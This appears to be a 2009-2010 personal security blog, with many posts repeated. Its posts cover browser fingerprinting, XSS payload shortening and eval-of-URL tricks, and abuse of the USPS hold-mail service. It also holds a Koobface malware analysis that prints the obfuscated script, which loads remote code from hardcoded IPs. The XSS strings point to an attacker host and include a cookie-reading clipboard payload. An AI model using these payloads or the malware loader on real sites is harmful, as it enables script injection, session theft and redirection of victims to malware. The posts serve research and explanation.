Well, this is something I've been very interested in for quite some time. I've mentioned it a before in a previous blog post (here). Reading that old post makes me laugh - I've gained so much more security experience since I've written that.
Anyways, Bruce Schneier recently pointed out (here) Panopticlick, a website that tries to determine how unique your browser configuration is. Go to http://panopticlick.eff.org/ to check it out. It will run some javascript to determine which plugins you have, your OS, what fonts you have installed, etc. Then it will tell you how unique your data is out of the data it has collected so far. As of the time of this writing, my browser configuration is absolutely unique out of the 577,993 different browsers tested.
As I talked about in my previous post, I think this could definitely lead to more advanced and targeted exploitation of browsers. If an attacker wished to attack developers, or sysadmins, or n00bs, or some other class of person, they could probably do it using browser fingerprints.
Pretty interesting to think about.
Friday, February 5, 2010
Wednesday, January 20, 2010
URLs are VALID javascript!
I recently posted things that said you could eval a url like this:
and have it display an alert. I had said that the javascript interpreter ignored the line that failed and skipped to the next line (the alert). WRONG! The real reason why that works is that URLs are VALID javascript! In javascript, you can label a block of code, like so:
and then use goto statements to jump to it. In the case of URLs, http: is merely a label!
The next part of a url is the two forward slashes, which is, of course, a single-line comment in javascript. Thus, when a newline is inserted into the url, it works because it is VALID javascript. Super coolness!
I haven't been able to find anyone else talk about this. I don't really even care if I "discovered" it first (which I might have?). It's just plain cool and makes me laugh :)
eval(unescape("http://somesite.com/%0Aalert('hello')"))
and have it display an alert. I had said that the javascript interpreter ignored the line that failed and skipped to the next line (the alert). WRONG! The real reason why that works is that URLs are VALID javascript! In javascript, you can label a block of code, like so:
label: {
}
}
and then use goto statements to jump to it. In the case of URLs, http: is merely a label!
The next part of a url is the two forward slashes, which is, of course, a single-line comment in javascript. Thus, when a newline is inserted into the url, it works because it is VALID javascript. Super coolness!
I haven't been able to find anyone else talk about this. I don't really even care if I "discovered" it first (which I might have?). It's just plain cool and makes me laugh :)
Wednesday, January 13, 2010
XSS and Ultra Short Urls II
Since I've written the first post about my efforts to load external javascript in under 30 characters, I've learned several new tricks to reference "external" javascript. The shortest one is this (20 characters):
This will only work if the window's name property has been set to hold your "external" javascript:
"onfocus="eval(name)
window.open('http://some.site.com/with/xss/vulns?input="onfocus="eval(name)', "alert('xss')")
Url-Eval XSS II
I did some searching around to see if there has been any research done on the maximum supported URL length for various browsers and/or servers, as I was curious how much javascript could be stored in the url (described in this post). I found an article over at boutell.com that had exactly what I was looking for:
It seems like the shortest supported url length is 2,083 (MSIE). This would leave us with somewhere around 1900-2000 bytes to store javascript functions (taking out 100-200 bytes for the url and path), which is a decent amount. Then again, if you don't care about IE, then you've got a lot more room.
The more I think about this, the more useful I can see it being. Hosting your javascript files elsewhere can be risky when one is trying not to get caught. Being able to store your "external" javascript in the url would be one way to still include a lot of code that can be used through the use of a single eval(unescape(location.href)) call. Not only that, but because it would take a relatively small number of bytes to eval() the url-stored javascript, this would work in many cases where the server truncates user input.
I wonder if others have thought of this before though. I'm sure I'm not the first to think of this.. Others have: here (lots of chinese characters) and translated, courtesy of Google. The author of this paper (luoluo from the Ph4nt0m Security Team) goes about it slightly differently, requiring the attacker to know the exact length of the full URL. He also uses document.URL, which is shorter than location.href by one byte:
The advantage to using the new-line method, is that one must not know the size or location of the javascript in the url. The author does also have several other very interesting ideas, such as using document.referrer as a way to store javascript:
Again, this could be made successful using slicing, splitting, or my new-line method. Also, if it can be assumed that the stored script is always the last part of the url and if the attacker knows how long his script is (he should!), he could work from the end of the url:
luoluo also talks about using the clipboard to store the payload. Suppose a user is on your (the attacker's) site. You store the javascript into the victim's clipboard while he's on your site:
Then you make him go to a site with XSS vulnerabilities, eval()'ing the data that was stored in the clipboard while the victim was on your site:
luoluo also goes over how to use the window.name variable to store the javascript. When you open a new window from javascript, you can specify the name of the window:
Thus you could do something like this:
Cool stuff!
| Client/Server | Max Bytes |
|---|---|
| MSIE | 2,083, max path: 2,043 |
| Firefox | 100,000+ |
| Safari | 80,000+ |
| Opera | 190,000+ |
| Apache Server | 4,000 (supposed: 8,192) |
| MS ISS | default: 16,384 |
| Perl HTTP::Daemon | ~8,000 |
It seems like the shortest supported url length is 2,083 (MSIE). This would leave us with somewhere around 1900-2000 bytes to store javascript functions (taking out 100-200 bytes for the url and path), which is a decent amount. Then again, if you don't care about IE, then you've got a lot more room.
The more I think about this, the more useful I can see it being. Hosting your javascript files elsewhere can be risky when one is trying not to get caught. Being able to store your "external" javascript in the url would be one way to still include a lot of code that can be used through the use of a single eval(unescape(location.href)) call. Not only that, but because it would take a relatively small number of bytes to eval() the url-stored javascript, this would work in many cases where the server truncates user input.
I wonder if others have thought of this before though. I'm sure I'm not the first to think of this.. Others have: here (lots of chinese characters) and translated, courtesy of Google. The author of this paper (luoluo from the Ph4nt0m Security Team) goes about it slightly differently, requiring the attacker to know the exact length of the full URL. He also uses document.URL, which is shorter than location.href by one byte:
eval(document.URL.slice(80));
The advantage to using the new-line method, is that one must not know the size or location of the javascript in the url. The author does also have several other very interesting ideas, such as using document.referrer as a way to store javascript:
eval(document.referrer.slice(80))
Again, this could be made successful using slicing, splitting, or my new-line method. Also, if it can be assumed that the stored script is always the last part of the url and if the attacker knows how long his script is (he should!), he could work from the end of the url:
eval(document.URL.substr(-##,##))
luoluo also talks about using the clipboard to store the payload. Suppose a user is on your (the attacker's) site. You store the javascript into the victim's clipboard while he's on your site:
clipboardData.setData("text", "alert(document.cookie)");
Then you make him go to a site with XSS vulnerabilities, eval()'ing the data that was stored in the clipboard while the victim was on your site:
http://some.site.come/with/xss/vulns?input=<script>eval(clipboardData.getData("text"))</script>
luoluo also goes over how to use the window.name variable to store the javascript. When you open a new window from javascript, you can specify the name of the window:
window.open(URL, NAME, OPTIONS, REPLACE)
Thus you could do something like this:
window.open("http://some.site.com/with/xss/vuln?input=eval(name)", "alert('xss')")
Tuesday, January 12, 2010
Url-Eval XSS
I had been working on making an XSS POC in a previous post, and had another idea. I got it from Gareth Heyes' comment to my post at sla.ckers.org.
He said something about only having to use
to accomplish what I was trying to do. This didn't make much sense to me, so I started experimenting, trying to figure out what he meant. I tried running eval(name) in the Firebug console, and of course, nothing happened. The "name" variable was an empty-string. So I started trying to think of other variables that I might influence through only the url (which is how I was injecting script into the page), when it hit me that maybe he meant to eval the URL itself.
I messed around with this for a bit, running small commands in firebug such as:
to see how javascript might evaluate something like that. None of those worked. Including a space in the url didn't work:
Neither did semicolons. However, newlines work just fine:
But you do have to remember to unescape the %0A
So what use is this? I could only come up with two uses:
1 - If the server truncates your input so that only a certain number of characters make it into the page and you don't want to or can't for some reason load an external javascript file, you could do something like I have below. I'm assuming I only have 50 characters that will actually make it into the page:
The part of my script that I'm intending to make it into the page is below:
The actual script part is 46 characters long. To make sure that only that script made it into the page, I added four spaces (url-encoded: %20) to fill up to 50 characters.
After the first 50 characters comes the newline, %0A, and then the script I want to be evaluated, alert('xss').
The eval() function tries to evaluate everything before the %0A, but can't, so it skips to the next "line", which puts it right at alert('xss'), conveniently and nicely separating the two parts of the script. This reminds of buffer overflows, actually. Neato.
2 - Obfuscation. Since a lot of people like to try and obfuscate their javascript, why not put a bunch of it in the url? You could hide your functions there and call eval() on the url before you plan on needing those functions. I bet this would be a nightmare to debug (Firebug doesn't handle this at all, since they're pretty much dynamic functions).
For example, append this to a url:
which is:
Now open up firebug and go to the console. Eval() the url and run the function:
You should have seen the popup. Once again, interesting. This seems to give you new flexibility with javascript, but it's nothing you can't do in other ways. It does, however, let the user supply their own functions that a web-app should use. Why someone would want to do that, I have no idea. The most I can say about it is that it would be rather unwieldy, different, and interesting.
UPDATE (1/13/09):
I talk more about this in another post: Url-Eval XSS II.
UPDATE (1/13/09):
While writing the post Url-Eval XSS II I finally figured out what Gareth meant by his eval(name) suggestion. When you open a new window with javascript, you can specify the name of the new window. These are the options for the window.open() function:
You could then open a window to the site with the xss vuln and store the javascript in the name of the new window:
He said something about only having to use
"><script>eval(name)</script>
to accomplish what I was trying to do. This didn't make much sense to me, so I started experimenting, trying to figure out what he meant. I tried running eval(name) in the Firebug console, and of course, nothing happened. The "name" variable was an empty-string. So I started trying to think of other variables that I might influence through only the url (which is how I was injecting script into the page), when it hit me that maybe he meant to eval the URL itself.
I messed around with this for a bit, running small commands in firebug such as:
eval("http://somesite.com/blah/?param=alert('hello')")
to see how javascript might evaluate something like that. None of those worked. Including a space in the url didn't work:
eval(unescape("http://somesite.com/blah/?param=%20alert('hello')"))
Neither did semicolons. However, newlines work just fine:
eval(unescape("http://somesite.com/blah/?param=%0Aalert('xss')"))
But you do have to remember to unescape the %0A
So what use is this? I could only come up with two uses:
- The server truncates the javascript you can inject into the page and you can't load external javascript files
- A weird type of javascript obfuscation
1 - If the server truncates your input so that only a certain number of characters make it into the page and you don't want to or can't for some reason load an external javascript file, you could do something like I have below. I'm assuming I only have 50 characters that will actually make it into the page:
http://somesite.com/blah/?param=<script>eval(unescape(location.href))</script>%20%20%20%20%0Aalert('xss')
The part of my script that I'm intending to make it into the page is below:
<script>eval(unescape(location.href))</script>%20%20%20%20
The actual script part is 46 characters long. To make sure that only that script made it into the page, I added four spaces (url-encoded: %20) to fill up to 50 characters.
After the first 50 characters comes the newline, %0A, and then the script I want to be evaluated, alert('xss').
The eval() function tries to evaluate everything before the %0A, but can't, so it skips to the next "line", which puts it right at alert('xss'), conveniently and nicely separating the two parts of the script. This reminds of buffer overflows, actually. Neato.
2 - Obfuscation. Since a lot of people like to try and obfuscate their javascript, why not put a bunch of it in the url? You could hide your functions there and call eval() on the url before you plan on needing those functions. I bet this would be a nightmare to debug (Firebug doesn't handle this at all, since they're pretty much dynamic functions).
For example, append this to a url:
#%0Afunction%20SayHello%28%29%7Balert%28%27hello%27%29%3B%7D
function SayHello(){alert('hello');}
eval(unescape(location.href))
SayHello();
SayHello();
You should have seen the popup. Once again, interesting. This seems to give you new flexibility with javascript, but it's nothing you can't do in other ways. It does, however, let the user supply their own functions that a web-app should use. Why someone would want to do that, I have no idea. The most I can say about it is that it would be rather unwieldy, different, and interesting.
UPDATE (1/13/09):
I talk more about this in another post: Url-Eval XSS II.
UPDATE (1/13/09):
While writing the post Url-Eval XSS II I finally figured out what Gareth meant by his eval(name) suggestion. When you open a new window with javascript, you can specify the name of the new window. These are the options for the window.open() function:
window.open(URL, NAME, FEATURES, REPLACE)
You could then open a window to the site with the xss vuln and store the javascript in the name of the new window:
window.open("http://some.site.com/with/xss/vuln?input=eval(name)", "alert('xss')")
Friday, January 8, 2010
Malware Analysis and Antivirus Technologies - Course
The F-Secure blog put up a link to the web site of a Malware Analysis and Antivirus Technologies course at the Helsinki University of Technology. This is mainly so I don't forget about this link:
https://noppa.tkk.fi/noppa/kurssi/t-110.6220/
F-Secure blog post: http://www.f-secure.com/weblog/archives/00001849.html
https://noppa.tkk.fi/noppa/kurssi/t-110.6220/
F-Secure blog post: http://www.f-secure.com/weblog/archives/00001849.html
Thursday, January 7, 2010
XSS and Ultra Short Urls
I recently was trying to create a POC (proof of concept) for an html injection/XSS vulnerability I found in a website where I could include the tags:
However, I only had 30 characters to break out of the current tag and insert my script. This made me (naturally) search for ways to condense everything into as few characters as possible.
Below is where the html injection occurs:
The full (uncondensed) html I had to include to break out of the current tag and create my script tags was this:
Which is way more than 30 characters (62 characters). To smash it down, first I looked for different ways to reference a url. I found that
works just as well as including both forward slashes in the url.
Then I tried to find a good url-shortener to create a super-small url that I could use. The smallest I came up with came from ix.lt, where I managed to get a url similar to ix.lt/##. The full length I came up with was 37 characters long, still too long for me to actually use to get under the 30 character limit imposed by the server (not the text box):
Since I couldn't think of a way to make it much shorter, I stopped there. Any ideas on how to have a super-short <script></script> block? I came up with one way that would work in specific situations (sadly, not this one though). Instead of trying to include the </script> tag at the end (which is what pushes me over the limit), I figured I could do something like this:
What this would do is comment out everything after my script tag. However, the only situation in which this would still work is if there is a script tag farther down in the html that has a block comment. For example, such a situation would produce something like this:
If such a situation could be found, my injected <script> tag would have a matching script tag farther down the page, which would complete my script block and would load the external script referenced by my shortened url.
Working copy:
Actually, blogspot won't let me publish a working sample of the code above, because there is no matching </script> tag. So, if you want to test it in your browser, you'll have to copy the code and run it on your computer.
Another thought that occurred to me while I was experimenting with url-shorteners is that it would VERY handy to have a url-shortener that passed supplied url params onto the target url. A shortened url, such as http://ix.lt/google that references http://www.google.com/search would then be able to be used like this: http://ix.lt/google?q=cookie%20recipes, which should end up with the final url of http://www.google.com/search?q=cookie%20recipes, which, of course, would give you a search for cookie recipes.
This would open up a different way to do XSRF, since most url-shorteners (at least the ones I tried) don't keep the url-params from the target url.
Any comments?
UPDATE: mckt (http://skeptikal.org) suggested using // instead of http:. He explained that the same way a single slash in front of a path means to use the current domain, that a double slash means to use the same protocol, which in this case is http.
This drops the total injection down to 34 characters:
This also drops the injection code with the javascript comment down to 27 characters:
Almost down to 30 characters!
UPDATE (1/12/09):
I was brainstorming other ways to go about doing this with Miles, and we came up with something:
30 characters! I had tried using <script /> tags (no second closing tag), but had only tried them in Firefox. Miles brought it up again and tried it in Safari, and boom, it worked! It also works in Chrome. I think it's a WebKit behavior that accepts those types of script blocks.
Originally after we had started experimenting with the <script /> form, we were still using //ix.lt/## as the url to load our javascript from. For some reason, it just wasn't loading our script when we tried it on the site we were testing. So I used the firebug console and typed location.href = "//ix.lt/##", which took us to https://ix.lt/## instead of http://ix.lt/##. It soon became very apparent that ix.lt doesn't support https, which was causing the problem.
To fix the problem, we had to revert back to the slightly-longer form of http:ix.lt/##. However, this was still under 30 characters, so we met our goal.
I learned a lesson to not forget what the shortcuts mean when you use them. I could have easily pounded my head against this one for a long time without realizing why it wasn't working. Shortest ≠ bestest (I know, bad grammar, but it rhymes!)
I also posted something over at http://sla.ckers.org asking for other ideas. It might be worth it to check back on that every now and then.
<script src="http://attacker.site.com/external.js"></script>
However, I only had 30 characters to break out of the current tag and insert my script. This made me (naturally) search for ways to condense everything into as few characters as possible.
Below is where the html injection occurs:
<input TYPE="TEXT" NAME="target_pattern" VALUE="!INJECTION!" SIZE=20 maxlength=30 ONKEYDOWN="someFunction()">
The full (uncondensed) html I had to include to break out of the current tag and create my script tags was this:
"><script src="http://attacker.site.com/external.js"></script>
Which is way more than 30 characters (62 characters). To smash it down, first I looked for different ways to reference a url. I found that
http:google.com
works just as well as including both forward slashes in the url.
Then I tried to find a good url-shortener to create a super-small url that I could use. The smallest I came up with came from ix.lt, where I managed to get a url similar to ix.lt/##. The full length I came up with was 37 characters long, still too long for me to actually use to get under the 30 character limit imposed by the server (not the text box):
"><script src=http:ix.lt/##></script>
Since I couldn't think of a way to make it much shorter, I stopped there. Any ideas on how to have a super-short <script></script> block? I came up with one way that would work in specific situations (sadly, not this one though). Instead of trying to include the </script> tag at the end (which is what pushes me over the limit), I figured I could do something like this:
"><script src=http:ix.lt/##>/*
What this would do is comment out everything after my script tag. However, the only situation in which this would still work is if there is a script tag farther down in the html that has a block comment. For example, such a situation would produce something like this:
<input TYPE="TEXT" NAME="target_pattern" VALUE=""><script src=http:ix.lt/##>/*" SIZE=20
maxlength=30 ONKEYDOWN="someFunction()">
<!-- farther down -->
<input type="text" value="should be commented out"/>
<script>
/* Here is a script block comment */
</script>
If such a situation could be found, my injected <script> tag would have a matching script tag farther down the page, which would complete my script block and would load the external script referenced by my shortened url.
Working copy:
Actually, blogspot won't let me publish a working sample of the code above, because there is no matching </script> tag. So, if you want to test it in your browser, you'll have to copy the code and run it on your computer.
Another thought that occurred to me while I was experimenting with url-shorteners is that it would VERY handy to have a url-shortener that passed supplied url params onto the target url. A shortened url, such as http://ix.lt/google that references http://www.google.com/search would then be able to be used like this: http://ix.lt/google?q=cookie%20recipes, which should end up with the final url of http://www.google.com/search?q=cookie%20recipes, which, of course, would give you a search for cookie recipes.
This would open up a different way to do XSRF, since most url-shorteners (at least the ones I tried) don't keep the url-params from the target url.
Any comments?
UPDATE: mckt (http://skeptikal.org) suggested using // instead of http:. He explained that the same way a single slash in front of a path means to use the current domain, that a double slash means to use the same protocol, which in this case is http.
This drops the total injection down to 34 characters:
"><script src=//ix.lt/##></script>
This also drops the injection code with the javascript comment down to 27 characters:
"><script src=//ix.lt/##>/*
Almost down to 30 characters!
UPDATE (1/12/09):
I was brainstorming other ways to go about doing this with Miles, and we came up with something:
"><script src=http:ix.lt/## />
30 characters! I had tried using <script /> tags (no second closing tag), but had only tried them in Firefox. Miles brought it up again and tried it in Safari, and boom, it worked! It also works in Chrome. I think it's a WebKit behavior that accepts those types of script blocks.
Originally after we had started experimenting with the <script /> form, we were still using //ix.lt/## as the url to load our javascript from. For some reason, it just wasn't loading our script when we tried it on the site we were testing. So I used the firebug console and typed location.href = "//ix.lt/##", which took us to https://ix.lt/## instead of http://ix.lt/##. It soon became very apparent that ix.lt doesn't support https, which was causing the problem.
To fix the problem, we had to revert back to the slightly-longer form of http:ix.lt/##. However, this was still under 30 characters, so we met our goal.
I learned a lesson to not forget what the shortcuts mean when you use them. I could have easily pounded my head against this one for a long time without realizing why it wasn't working. Shortest ≠ bestest (I know, bad grammar, but it rhymes!)
I also posted something over at http://sla.ckers.org asking for other ideas. It might be worth it to check back on that every now and then.
Friday, December 18, 2009
Free DOS Mail Attack
UPDATE: Well, I searched around to try and find other articles about this, and I came up with a bunch of them. Two of them can be found here: http://msmvps.com/blogs/alunj/archive/2007/06/09/can-t-i-trust-the-postal-service-part-3-the-service.aspx and at Bruce Schneier's blog here http://www.schneier.com/blog/archives/2006/04/man_diverts_mai.html
The online change of address service is a little better. It charges $1 to a credit card. It says it checks your identity using your payment info, but I'm sure you could get around that with a little social engineering. That idea is even scarier than the one I've written about in this post...
If my wife and I are going to be out of town for any extended period of time, we usually put our mail on hold so it won't be sitting there in our mailbox. We usually do this online at the USPS website. It had been quite a while since I had done this, and it occurred to me just how vulnerable this is to "attack". All the page requires is your name and address. No verification is required to make sure that the person placing the hold request is actually authorized to do so.
Talk about a DOS attack! All you need to know is someone's address and name and the dates you don't want them to receive any mail, and BOOM! you've denied that person of any mail. They can pick it up later though once they figure it out.
I looked more into this to see if there were any other catches that makes it at least a little more secure than I initially thought, but it turns out it's actually worse! This is what the FAQ on Hold Mail says:
- Do I need to submit multiple Hold Mail requests if there is more than one person at the same address?
All mail regardless of name will be held for the address entered. Submitting a Hold Mail request once is all that is required to holdmail delivery for everyone at the address.
- How do I make changes to a previously submitted Hold Mail request?
To make changes to your original online or telephone Hold Mail request (dates, options, etc.), you will need your confirmation number. If making the change online:- Go to Hold Mail Service and select "Edit or Cancel your HoldMail Request." The system will proceed to the "Customer Information" page.
- Select the "Edit your request" radio button and enter your confirmation number, street name/number, city, state, and 5-digit ZIP Code. The confirmation number is not case sensitive.
- After you enter the requested information, press the "Continue" button. The system will proceed to the "Edit a Request" page and display your HoldMail Request.
- Modify the beginning date, ending date or both to fit your current plans. If your Hold Mail request has started, you can only modify the ending date.
- After making updates, scroll to the bottom of the page and press the "Continue" button. Then press "Yes" to verify.
- A confirmation page will be displayed to indicate your request has been updated.
If you made your Hold Mail request in person at your local Post Office or you do not have your confirmation number, you will need to go to your local Post Office to make changes to your Hold Mail request.
Crazy stuff! There is also a text box for additional instructions. This is where things could really start to get interesting. You could try and switch people's mail by adding additional instructions to deliver all mail while "we" are gone to "my friend's" address (their neighbors) and then deliver all mail from the neighbor to "his friend's address" (the original target). This would probably confuse the heck out of any mail man (or is mail-worker more correct? Briefträger?), as well as both neighbors.
There are more nefarious deeds that come to mind about this, but I'll leave that up to you to have fun imagining things.
Wednesday, December 16, 2009
To Infinity, and Beyond!
Finally! I've got one more project to finish for my graphics class and then I'll be officially done as an undergraduate at BYU! Now I should have a lot more time to finish writing up all of those blogposts that I stubbed out and never finished (really, there are quite a lot of them). You can expect this blog to be a lot more active now.
I've also been applying around for security-related jobs in fields such as web-application security, network security, malware analysis, CNA/CNE (computer network attack, computer network exploitation), penetration testing, security research, etc. If you happen to know of an opening somewhere, or know of someone else who might know, shoot me an email.
I've also been applying around for security-related jobs in fields such as web-application security, network security, malware analysis, CNA/CNE (computer network attack, computer network exploitation), penetration testing, security research, etc. If you happen to know of an opening somewhere, or know of someone else who might know, shoot me an email.
Thursday, October 15, 2009
Feeds I Monitor
Sometimes I want to share the security feeds/blogs I monitor with others, so I usually just give out this link http://www.bloglines.com/public/nephi-johnson. BUT, Bloglines is really really slow opening some of the feeds from that link. So, I've decided to just post all of the feeds and blogs I monitor here:
Enjoy! I'll be keeping this updated as well.
-atlas wandering-
.:Computer Defense:.
360 Security
ADD / XOR / ROL
Alex's Corner
Amrit Williams Blog
An IT Professional’s Blog
Anachronic
Andrew Martin
Anurag Agarwal - Application Security Evangelist
AppSec Street Fighter - SANS Institute
Billy (BK) Rios
Blog | Security Whole
Boaz Gelbord
Bugtraq
CGISecurity - Website and Application Security News
cktricky and Web Application Security
Command Line Kung Fu
Confessions of a Penetration Tester
Daily Dave
Dancho Danchev's Blog - Mind Streams of Information Security Kno
DarkReading - All Stories
deep inside | security & tools
Denim Group, Ltd.
Digital Soapbox - Preaching Security to the Digital Masses
Disenchant's Blog
Eric's Musings on the Security World
EvilFingers
F-Secure Antivirus Research Weblog
F-Secure Latest 10 Corporate News Rss Feed
FireEye Malware Intelligence Lab
Firewall Wizards
Forage Security
Full Disclosure
gnarlysec
GNUCITIZEN
ha.ckers.org web application security lab
hackademix.net
Hex blog
Honeypots
IDS Focus
In.Security Home
Incidents
Indistinguishable from Jesse
Info Security News
It's a shampoo world anyway
Jack Mannino
Jeremiah Grossman
k3r0s1n3
Laramies Corner
Matasano Chargen
Matt Blaze's Exhaustive Search
McAfee Avert Labs
Michael Howard's Web Log
Minded Security Blog
MS Sec Notification
Network Security Blog
Nibble Security
Nitesh Dhanjani
omg.wtf.bbq.
p42 labs
PaulDotCom
Penetration Testing
PortSwigger.net - web application security
random dross
The RISKS Forum
SANS Internet Storm Center, InfoCON: green
SANS ISC SecNewsFeed
Schneier on Security
SecureWorks Research Blog
Security Bytes
The Security Catalyst
Security Fix
Security Incite Rants
The Security Shoggoth
Security Thoughts
Security to the Core | Arbor Networks Security » 2009
SecurityRecruiter.com's Security Recruiter Blog
Shadowserver Foundation | Information / Whitepapers
Shadowserver Foundation | Main / HomePage
Silver Tail Blog
sirdarckcat
Skeptikal.org
Slashdot
The Spanner
Sunbelt Blog
Suspekt...
Sylvan von Stuppe
Tactical Web Application Security
TaoSecurity
Technicalinfo.net Security
Threat Level
ThreatExpert Blog
ThreatFire Research Blog
TrendLabs | Malware Blog - by Trend Micro
TwitPwn
Vulnerability Development (vuln-dev) Mailing List
Web App Security
Webmonkey
Wired Top Stories
XSSed syndication
Zero Day
Zscaler Research
.:Computer Defense:.
360 Security
ADD / XOR / ROL
Alex's Corner
Amrit Williams Blog
An IT Professional’s Blog
Anachronic
Andrew Martin
Anurag Agarwal - Application Security Evangelist
AppSec Street Fighter - SANS Institute
Billy (BK) Rios
Blog | Security Whole
Boaz Gelbord
Bugtraq
CGISecurity - Website and Application Security News
cktricky and Web Application Security
Command Line Kung Fu
Confessions of a Penetration Tester
Daily Dave
Dancho Danchev's Blog - Mind Streams of Information Security Kno
DarkReading - All Stories
deep inside | security & tools
Denim Group, Ltd.
Digital Soapbox - Preaching Security to the Digital Masses
Disenchant's Blog
Eric's Musings on the Security World
EvilFingers
F-Secure Antivirus Research Weblog
F-Secure Latest 10 Corporate News Rss Feed
FireEye Malware Intelligence Lab
Firewall Wizards
Forage Security
Full Disclosure
gnarlysec
GNUCITIZEN
ha.ckers.org web application security lab
hackademix.net
Hex blog
Honeypots
IDS Focus
In.Security Home
Incidents
Indistinguishable from Jesse
Info Security News
It's a shampoo world anyway
Jack Mannino
Jeremiah Grossman
k3r0s1n3
Laramies Corner
Matasano Chargen
Matt Blaze's Exhaustive Search
McAfee Avert Labs
Michael Howard's Web Log
Minded Security Blog
MS Sec Notification
Network Security Blog
Nibble Security
Nitesh Dhanjani
omg.wtf.bbq.
p42 labs
PaulDotCom
Penetration Testing
PortSwigger.net - web application security
random dross
The RISKS Forum
SANS Internet Storm Center, InfoCON: green
SANS ISC SecNewsFeed
Schneier on Security
SecureWorks Research Blog
Security Bytes
The Security Catalyst
Security Fix
Security Incite Rants
The Security Shoggoth
Security Thoughts
Security to the Core | Arbor Networks Security » 2009
SecurityRecruiter.com's Security Recruiter Blog
Shadowserver Foundation | Information / Whitepapers
Shadowserver Foundation | Main / HomePage
Silver Tail Blog
sirdarckcat
Skeptikal.org
Slashdot
The Spanner
Sunbelt Blog
Suspekt...
Sylvan von Stuppe
Tactical Web Application Security
TaoSecurity
Technicalinfo.net Security
Threat Level
ThreatExpert Blog
ThreatFire Research Blog
TrendLabs | Malware Blog - by Trend Micro
TwitPwn
Vulnerability Development (vuln-dev) Mailing List
Web App Security
Webmonkey
Wired Top Stories
XSSed syndication
Zero Day
Zscaler Research
Enjoy! I'll be keeping this updated as well.
Monday, October 5, 2009
CERT Secure Coding Site Down
(10/5/2009 8:54 AM) EDIT:The site is now up and running
Well, this would be at least a little embarassing:
At the time of this posting, the entire securecoding.cert.org site seems to be down. Isn't information disclosure part of secure coding? The error message probably isn't a big deal, but still...
This is what cert.org says about information disclosure on their site: actual link, google's cache. A better link: Top 25 Programming Errors (see CWE-209).
Sunday, September 27, 2009
Koobface Javascript Explained
In this post, I'll be going through the javascript files that I've found through links that have been posted on facebook. An example of the original file is shown below:
The first thing this script does is get the referrer here:
Then, if the current href contains the "?id=" substring, then it tries to parse the id of your account by parsing anything that comes after "?id=":
Then the script assigns the js variable to a new value, depending on the magnitude of your id. If your id is greater than or equal to 401, js will always be "/view". This would be the case for all (I think) facebook accounts, as well as any other account on a site, unless you were one of the first 400 people to sign up and the site uses sequential ids. I'm not quite sure why the script would want to specifically check for this, unless it's b/c the main site they are targeting uses pages that serve the correct content based on the id url param (hence the ?id=). Still have to figure out more on this one.
The last thing the script does is append a new script tag to the DOM head for each ip in its ipAddresses array:
Remember that WaitForRedirect() function we explained earlier and how it periodically checks for a non-blank string in the window.redirect variable? Once the second script assigns a non-blank string to that variable, the WaitForRedirect() function will redirect the browser to the new url. From there, many different things may happen, but it looks like most of them are social networking site look-alikes that try and get you to run an executable that automatically starts downloading.
Well, that's about it for tonight :)
Javascript
And here is my version of it (I de-obfuscated most of it):
// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
break;
}
}
window.redirect = '';
function urocwfkgdsjq6() {
var higeruoxzcnqsbad9 = '' + window.redirect;
if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
n = parseInt(location.href.substr(n + 4));
if (n < 101) js = '/cnet';
else if (n < 201) js = '/warn';
else if (n < 301) js = '/scan';
else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
var onjrmgcaifxsqtzb9 = document.createElement('script');
onjrmgcaifxsqtzb9.type = 'text/javascript';
onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}
De-Obfuscated Javascript
Ok, now to go through it step by step (I am going to assume you have some experience with javascript).// KROTEG
var referrers = [
['facebook.com', 'fb2'],
['tagged.com', 'tg'],
['friendster.com','fr'],
['myspace.com', 'ms'],
['msplinks.com', 'ms'],
['lnk.ms', 'ms'],
['myyearbook.com','yb'],
['fubar.com', 'fu'],
['twitter.com', 'tw'],
['hi5.com', 'hi5'],
['bebo.com', 'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
newPath = '/f=' + referrers[i][1];
break;
}
}
window.redirect = '';
function WaitForRedirect() {
var currRedirect = '' + window.redirect;
if (currRedirect.length > 0) window.location.href = currRedirect;
else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
